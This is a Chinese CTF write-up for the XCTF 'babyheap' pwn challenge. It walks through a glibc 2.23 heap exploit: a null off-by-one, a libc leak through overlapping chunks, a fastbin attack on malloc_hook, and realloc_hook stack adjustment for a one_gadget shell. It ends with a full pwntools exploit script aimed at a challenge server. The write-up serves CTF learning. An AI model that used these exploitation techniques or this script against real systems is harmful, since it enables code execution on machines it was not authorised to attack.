攻防世界(pwn)babyheap(一些常见的堆利用方法)

前言:

此题攻击链路:null_off_by_one修改堆块信息 => UAF泄露libc基址和其他有用信息 => fastbin attack申请堆块到指定地址 => 利用realloc_hook来调整堆栈 => one_gadget get shell。

攻防世界(pwn)babyheap(一些常见的堆利用方法)_第1张图片
64位程序,保护全开。
攻防世界(pwn)babyheap(一些常见的堆利用方法)_第2张图片
程序提供增删查操作,没有改操作。由于题目已经给了libc-2.23文件(虽然给错了)说明远端库是2.23版本的,不是2.27的,在此,我们不用纠结这个。
我们继续往下看
攻防世界(pwn)babyheap(一些常见的堆利用方法)_第3张图片
增操作在输入Data时的read_input操作中有明显的null_off_by_one,我们可以用他来修改下一堆块的inuse位,使得伪造出已申请堆块未申请得假象。
我们先申请堆块:
chunk0:

create(0x100, 'a' * 0x100)

在这里插入图片描述
chunk1:

create(0x100, 'b' * 0x100)

在这里插入图片描述
chunk2:

create(0x68, 'c' * 0x68)

在这里插入图片描述
chunk3:

create(0x68, 'd' * 0x68)

在这里插入图片描述
chunk4:

create(0x100, 'e' * 0x100)

在这里插入图片描述
这里可以看到申请出来是这样子的。
由于没有改操作,我们只能先删除,然后再重新申请回来,这里就需要我们来考虑一下删除哪些堆块。
首先,我们要删除chunk2,为后面的fastbin attack做铺垫。
第二步,我们删除chunk3,然后申请回来修改chunk4的inuse位。
最后,chunk0我们要删除,因为chunk0删除之后会链入unsortedbin中,就会把main_area + 88处的地址写入到堆中,我们就可以进行泄露。

delete(2)
delete(3)
delete(0)

payload = 'e' * 0x60
payload += p64(0x300)
create(0x68, payload)

这里我们把chunk4的presize位改为0x300,将前面的堆块一起unlink。
做完这些,我们查看一下堆里的一些数据,发现chunk4的size位会被修改成0x100,看似没什么事,但其实在后面我们进行unlink操作时会出错,所以我们需要在申请chunk4时首先伪造一个小堆块就行。

create(0x100, 'e' * (0x100 - 16) + p64(0x100) + p64(0x11))

在这里插入图片描述
然后我们直接delete chunk4,系统会自动进行操作,把chunk4前面的堆块链入unsortedbin中。
记得我们前面把chunk0给删除了,我们现在把他重新申请回来,这样main_area + 88的地址就会写入chunk1,我们知道前面我们并没有删除chunk1,也就是我们现在可以利用UAF来泄露处main_area + 88的地址。

create(0x100, 'a' * 0x100)
show()
p.recvuntil('1 : ')
main_area_88 = u64(p.recvuntil(' ', drop = True).ljust(8,'\x00'))
print hex(main_area_88)

我们知道main_area + 88与malloc_hook的地址隔得比较近,最多不过后三位不同。
攻防世界(pwn)babyheap(一些常见的堆利用方法)_第4张图片
而realloc_hook也在附近
攻防世界(pwn)babyheap(一些常见的堆利用方法)_第5张图片
这样我们就可以直接泄露libc基址了

malloc_hook = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_sym & 0xFFF)
offset = malloc_hook - malloc_hook_sym
realloc_hook = offset + realloc_sym
gadget_addr = offset + gadget
system = offset + libc.sym['system']

泄露完有用的信息后我们就要开始利用了。我们利用fastbin attack 错位构造来把堆块申请到malloc_hook - 0x23处。
攻防世界(pwn)babyheap(一些常见的堆利用方法)_第6张图片
我们首先写入malloc_hook的地址,然后再申请两次就可以申请到malloc_hook了。

payload = 'f' * 0x100
payload += p64(0) + p64(0x71)
payload += p64(malloc_hook - 0x23)
create(0x118, payload)

然后我们的思路是把malloc_hook改为one_gadget,之后malloc时就能getshell了。但是行不通。
原因是什么呢?

有些情况下one_gadget因为环境原因全部都不可用,这时可以通过realloc_hook来调整堆栈环境使one_gadget可用。
realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。
realloc_hook同malloc_hook相邻,故可通过fastbin attack一同修改两个值。
–来自看雪论坛

实际上就是把one_gadget写入到realloc_hook中,然后把realloc_hook写入malloc_hook中,这样做我们就可以通过realloc_hook的改写堆栈的操作来改变我们程序本身的堆栈。
经过调试,发现只需要+2就行。

create(0x68, 'g' * 0x68)
payload = '\x00' * 0xB + p64(gadget_addr) + '\x00' * (0x13 - 0xB - 0x8)
payload += p64(realloc_hook + 2)
payload += '\n'
create(0x68, payload)

这里再提醒一下,由于题目给的libc文件版本错误,这里建议不要用自己的(我的不能用),还是使用攻防世界中其他题目的libc-2.23.so文件,只要是64位的就行。
完整exp:

#! /usr/bin/env python
from pwn import *

local = 1
if local:
    p = process('./timu_so')
else:
    p = remote('111.198.29.45', 34070)

debug = 0
if debug:
    context.log_level = 'debug'

libc = ELF('./libc.so.6')
elf = ELF('./timu_so')

malloc_hook_sym = libc.sym['__malloc_hook']
realloc_sym = libc.sym['realloc']
gadget = 0x4526a
#0x4526a  0x45216  0xf0274  0xf1117
def create(size, content):
    p.sendlineafter('Your choice :\n', '1')
    p.sendlineafter('Size:', str(size))
    p.sendafter('Data:', content)

def delete(index):
    p.sendlineafter('Your choice :\n', '2')
    p.sendlineafter('Index:', str(index))

def show():
    p.sendlineafter('Your choice :\n', '3')


create(0x100, 'a' * 0x100)
create(0x100, 'b' * 0x100)
create(0x68, 'c' * 0x68)
create(0x68, 'd' * 0x68)
create(0x100, 'e' * (0x100 - 16) + p64(0x100) + p64(0x11))

delete(2)
delete(3)
delete(0)

payload = 'e' * 0x60
payload += p64(0x300)
create(0x68, payload)

delete(4)
create(0x100, 'a' * 0x100)
show()
p.recvuntil('1 : ')
main_area_88 = u64(p.recvuntil(' ', drop = True).ljust(8,'\x00'))
print hex(main_area_88)
malloc_hook = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_sym & 0xFFF)
offset = malloc_hook - malloc_hook_sym
realloc_hook = offset + realloc_sym
gadget_addr = offset + gadget
system = offset + libc.sym['system']

payload = 'f' * 0x100
payload += p64(0) + p64(0x71)
payload += p64(malloc_hook - 0x23)
create(0x118, payload)

create(0x68, 'g' * 0x68)
payload = '\x00' * 0xB + p64(gadget_addr) + '\x00' * (0x13 - 0xB - 0x8)
payload += p64(realloc_hook + 2)
payload += '\n'
create(0x68, payload)

p.sendlineafter('Your choice :\n', '1')
p.sendlineafter('Size:', '$0')

p.interactive()

参考链接:

https://blog.csdn.net/seaaseesa/article/details/103173435

https://bbs.pediy.com/thread-246786.htm

你可能感兴趣的:(pwn)